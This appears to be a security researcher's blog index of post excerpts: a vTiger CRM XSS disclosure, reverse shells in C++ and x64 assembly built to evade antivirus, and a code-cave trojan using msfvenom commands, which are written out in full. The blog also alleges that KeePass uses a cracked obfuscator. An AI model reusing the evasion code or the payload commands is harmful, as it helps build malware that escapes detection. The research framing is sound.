Post

Unveiling CVE-2024-44777, CVE-2024-44778, and CVE-2024-44779

Immagine
Unveiling CVE-2024-44777 , CVE-2024-44778 , and CVE-2024-44779 How Curiosity and Boredom Can Lead to Discovering Unknown Vulnerabilities In this discussion, I will focus on vTiger CRM 7.4.0, an older version of the CRM platform that, despite its age, remains an important research target.  I discovered a Reflected XSS vulnerability in this version, which is especially concerning since there is no public CVE associated with it.so many users are likely unaware of this security risk.

C++ Reverse Shell attempting obfuscation while dynamically loading API.

Immagine
 C++ Reverse Shell Attempting Obfuscation While Dynamically Loading Windows API This time, I wrote a Reverse Shell in C++, attempting to bypass AV by loading Windows APIs dynamically. Sadly, this time I could not use antiscan.me to test this Shell since that site is not working anymore. The Reverse Shell uses the following Windows API: LoadLibraryA GetProcAddress WSAStartup WSASocketA WSAConnectA CreateProcessA ExitProcess Every API has been loaded dynamically to try to bypass AV controls. Loading Windows API Dynamically: How to Read the Following Paragraph // Creating the signature of the function // Creating an instance of the function // Calling the function  LoadLibraryA Becomes loader using loader = HMODULE(__stdcall*)(LPCSTR); loader loader_a = reinterpret_cast<loader>((FARPROC)GetProcAddress(LoadLibraryA(x), "LoadLibraryA")); getter getter_a = reinterpret_cast<getter>((FARPROC)GetProcAddress(loade

Notes on an ASM X64 Reverse Shell

Immagine
  Notes an ASM X64 Reverse Shell This article is a collection of Resources that i used to create a x64 reverse shell in pure ASM. Furthermore you can find the code that I wrote commented line by line.   The Resources: The starting point Windows X64 calling convention GetProcAddress WSAstartup WSASocketA Sockaddr WSAConnect CreateProcessA STARTUPINFOA ExitProcess The Steps: Finding Kernel32.dll Address Parsing Kernel32.dll to find GetProcAddress API  Using GetProcAddress to find LoadLibrary API Loading the ws2_32.dll Using GetProcAddress to locate and store WSAStartup address Using GetProcAddress to locate and store WSASocketA address Using GetProcAddress to locate and store WSAConnect address Using GetProcAddress to locate and store CreateProcessA address Using GetProcAddress to locate and store ExitProcess address Calling WSAstartup() Calling WSASocketa() Creating the sockaddr structure Calling WSAConnect() Pushing cmd.exe string to stack Setting STARTUPINFOA Structure Calling CreateP

Trojan exploiting CodeCaves for AV bypass

Immagine
ENG: Interestingly, the /windows/exec payload generated via msfvenom is not detected by well-known antiviruses such as McAfee ,Kaspersky and TrendMicro when included in a legitimate executable such as calc.exe by exploiting a "Code Cave".  What is a CodeCave ? A code cave is an area of memory allocated but not exploited by an executable. msfvenom -p /windows/exec CMD=mspaint.exe EXITFUNC=thread -f c -o shellcode.bin msfvenom -p /windows/exec CMD=mspaint.exe EXITFUNC=thread -f raw -o <executable_name>,.exe PS_1: The MSF framework is a widely used framework and therefore well known to AV vendors. PS_2: The shellcode generated by the framework has not been obfuscated/modified in any way.

KeePass abbiamo un problema..../KeePass we have a Problem

Immagine
KeePass abbiamo un problema  ITA: Si dice che la curiosità uccida il gatto , per fortuna non è questo il caso. In un momento di sana follia ho deciso di analizzare l'eseguibile "KeePass 2" , chi non lo usa per lavoro!? Analizzando l'eseguibile con il tool open-source "Detect it Easy" ho scoperto che il tool utilizza un obfuscator in particolare "Eziriz .NET Reactor 6.X" nulla di entusiasmante finché non ho notato che la versione utilizzata da KeePass è crackata e distribuita dal noto store di Software crackati Dr. Far Far. Il sito Dr. Far Far è noto anche perché in omaggio ai clienti regala malware a volontà. Link to Detect it Easy:https://github.com/horsicq/Detect-It-Easy/ Thanks to everyone from the etetrnal n00b Marco Nappi aka Xaliom

SLAE32 #7 Custom Crypter

SLAE32 #6 Polymorphic Code